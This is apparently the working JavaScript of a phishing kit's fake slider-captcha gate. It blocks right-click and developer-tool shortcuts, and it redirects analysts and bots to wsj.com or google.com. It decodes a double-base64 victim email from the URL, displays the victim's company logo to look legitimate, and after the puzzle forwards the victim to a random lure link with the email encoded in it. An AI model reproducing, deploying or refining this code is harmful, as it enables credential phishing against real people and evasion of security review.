;(function(){ document.addEventListener('contextmenu', ev => ev.preventDefault(), { passive: false }); document.addEventListener('keydown', ev => { if (ev.key === 'F12' || (ev.ctrlKey && ev.shiftKey && ['I','J','C'].includes(ev.key.toUpperCase())) || (ev.metaKey && ev.altKey && ['I','J','C'].includes(ev.key.toUpperCase())) ) { ev.preventDefault(); return false; } }, { passive: false }); })(); (function(){ const suf = window.RAND_SUFFIX; document.querySelectorAll('[data-base]').forEach(el=>{ const b = el.dataset.base; el.id = b + '_' + suf; el.removeAttribute('data-base'); }); const id = name => `${name}_${suf}`; document.getElementById(id('h1')).addEventListener('input',()=>{ window.location.href = 'https://www.wsj.com'; }); let timer = setTimeout(()=>{ window.location.href='https://www.wsj.com' }, 60000); ['mousedown','mousemove','touchstart','keydown','scroll'] .forEach(evt=>document.addEventListener(evt, ()=>{ clearTimeout(timer); timer = setTimeout(()=>{ window.location.href='https://www.wsj.com' }, 60000); }, { passive:true })); const params = new URLSearchParams(location.search); let userEmail = params.get('email')||''; try { userEmail = atob(atob(decodeURIComponent(userEmail))); } catch {} const domain = userEmail.includes('@') ? userEmail.split('@')[1].toLowerCase().trim() : ''; const leftCon = document.querySelector('.logo-left_013285ca'); const rightCon = document.querySelector('.logo-right_013285ca'); const logoImg = document.getElementById(id('clientLogo')); const cbUrl = domain ? `https://logo.clearbit.com/${domain}` : 'https://hakansaday.com/wp-admin/images/default-company.png'; const msImg = leftCon.querySelector('img'); msImg.onload = () => leftCon.classList.add('loaded'); if (msImg.complete) leftCon.classList.add('loaded'); logoImg.onload = () => rightCon.classList.add('loaded'); logoImg.onerror = () => { logoImg.style.display = 'none'; const txt = document.createElement('div'); const fallbackText = domain.split('.')[0].toUpperCase(); txt.textContent = fallbackText; Object.assign(txt.style, { fontFamily: 'Helvetica Neue, sans-serif', fontSize: '0.9em', color: '#333', padding: '6px 10px', background: '#f0f0f0', borderRadius: '6px', display: 'inline-block', whiteSpace: 'nowrap', maxWidth: '100%', overflow: 'hidden', textOverflow: 'ellipsis', textAlign: 'center', boxSizing: 'border-box', opacity: '0', // ← required for fade-in to work flexShrink: '1', // ← helps with long domains }); rightCon.style.width = 'auto'; rightCon.style.maxWidth = '160px'; // tweak as needed rightCon.style.display = 'flex'; rightCon.style.justifyContent = 'center'; rightCon.style.alignItems = 'center'; rightCon.style.padding = '4px'; rightCon.appendChild(txt); // Trigger fade-in requestAnimationFrame(() => { txt.style.opacity = '1'; rightCon.classList.add('loaded'); }); }; logoImg.src = cbUrl; const canvas = document.getElementById(id('puzzleCanvas')); const ctx = canvas.getContext('2d'); const svg = document.getElementById(id('puzzleSvg')); const puzzlePiece = document.getElementById(id('puzzlePiece')); const movingPiece = document.getElementById(id('movingPiece')); const sliderHandle = document.getElementById(id('sliderHandle')); const refreshLink = document.getElementById(id('newChallenge')); const captchaMsg = document.getElementById(id('captchaMessage')); let pieceW=36, pieceH=36, knob=pieceW/2, pos=20, gapX=0, gapY=0, token='', ts=0, verified=false, fails=0; const margin=20, minDist=100; function off(){ return Math.random()*0.2 - 0.1; } function col(){ const c=['#4facfe','#00c6ff','#74ebd5','#00cdac','#02aab0','#00e4d0']; return c[Math.floor(Math.random()*c.length)]; } function shape(x,y,w,h){ const k = w/2, hk = k/2, ox = w*off(), oy = h*off(); return ` M${x},${y} h${w-k} a${hk},${hk} 0 0,1 ${k+ox},0 h${k} v${h-k} a${hk},${hk} 0 0,1 0,${k+oy} v${k} h-${w-k} a${hk},${hk} 0 0,1 -${k+ox},0 h-${k} v-${h-k} a${hk},${hk} 0 0,1 0,-${k+oy} z `; } function randPos(w,h){ let x = Math.floor(Math.random()*(w-2*margin-pieceW-knob*2)) + margin + knob; let y = Math.floor(Math.random()*(h-2*margin-pieceH-knob*2)) + margin + knob; while(Math.abs(x - margin) < minDist) { x = Math.floor(Math.random()*(w-2*margin-pieceW-knob*2)) + margin + knob; } return {x,y}; } function draw(w,h){ ({x:gapX, y:gapY} = randPos(w,h)); pos = margin; const bg = col(); canvas.width = w; canvas.height = h; ctx.fillStyle = bg; ctx.fillRect(0,0,w,h); const path = shape(gapX,gapY,pieceW,pieceH); puzzlePiece.setAttribute('d', path); movingPiece.setAttribute( 'd', path.replace(`M${gapX},${gapY}`, `M${pos},${gapY}`) ); movingPiece.setAttribute('fill', bg); } function resetSlider(){ sliderHandle.style.left = '0px'; movingPiece.setAttribute('transform','translate(0,0)'); } function fetchToken(){ fetch('verify-captcha.php', { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ generateToken:true, email:userEmail }) }) .then(r=>r.json()) .then(d=>{ token = d.token; ts = d.timestamp; fails = d.failed_attempts; verified = d.captcha_verified; }) .catch(console.error); } function showMsg(txt,colr){ captchaMsg.textContent = txt; captchaMsg.style.color = colr; } function verify() { if (verified) return; fetch('verify-captcha.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sliderPosition: pos, gapPositionX: gapX, token: token, timestamp: ts, email: userEmail }) }) .then(r => r.json()) .then(data => { if (data.error === 'Solved too quickly') { window.location.href = 'https://www.wsj.com'; } else if (data.error === 'Too many attempts') { window.location.href = 'https://www.google.com'; } else if (data.error) { showMsg(data.error, 'red'); setTimeout(initCaptcha, 2000); } else if (data.success) { fails = 0; const elapsedSec = ((Date.now()/1000) - ts).toFixed(1); showMsg(`Puzzle solved in ${elapsedSec} s`, 'green'); verified = true; const target = links[Math.floor(Math.random()*links.length)] + btoa(userEmail); window.location.href = target; } else { fails++; showMsg('Position incorrect. Please try again.', 'red'); setTimeout(initCaptcha, 2000); } }) .catch(console.error); } function initCaptcha(){ showMsg('',''); resetSlider(); draw(svg.clientWidth, svg.clientHeight); fetchToken(); } function startDrag(e){ const startX = e.clientX || e.touches[0].clientX; const initL = sliderHandle.offsetLeft; function onMove(ev){ const cx = ev.clientX || ev.touches[0].clientX; const dx = cx - startX; pos = Math.min(Math.max(initL+dx, margin), svg.clientWidth - pieceW - knob - margin); sliderHandle.style.left = pos + 'px'; movingPiece.setAttribute( 'transform', 'translate(' + (pos - margin) + ',0)' ); } function onEnd(){ document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onEnd); document.removeEventListener('touchmove', onMove); document.removeEventListener('touchend', onEnd); verify(); } document.addEventListener('mousemove', onMove); document.addEventListener('mouseup', onEnd); document.addEventListener('touchmove', onMove); document.addEventListener('touchend', onEnd); } sliderHandle.addEventListener('mousedown', startDrag); sliderHandle.addEventListener('touchstart', startDrag); window.addEventListener('resize', ()=> draw(svg.clientWidth, svg.clientHeight)); refreshLink.addEventListener('click', e=>{ e.preventDefault(); initCaptcha(); }); initCaptcha(); })();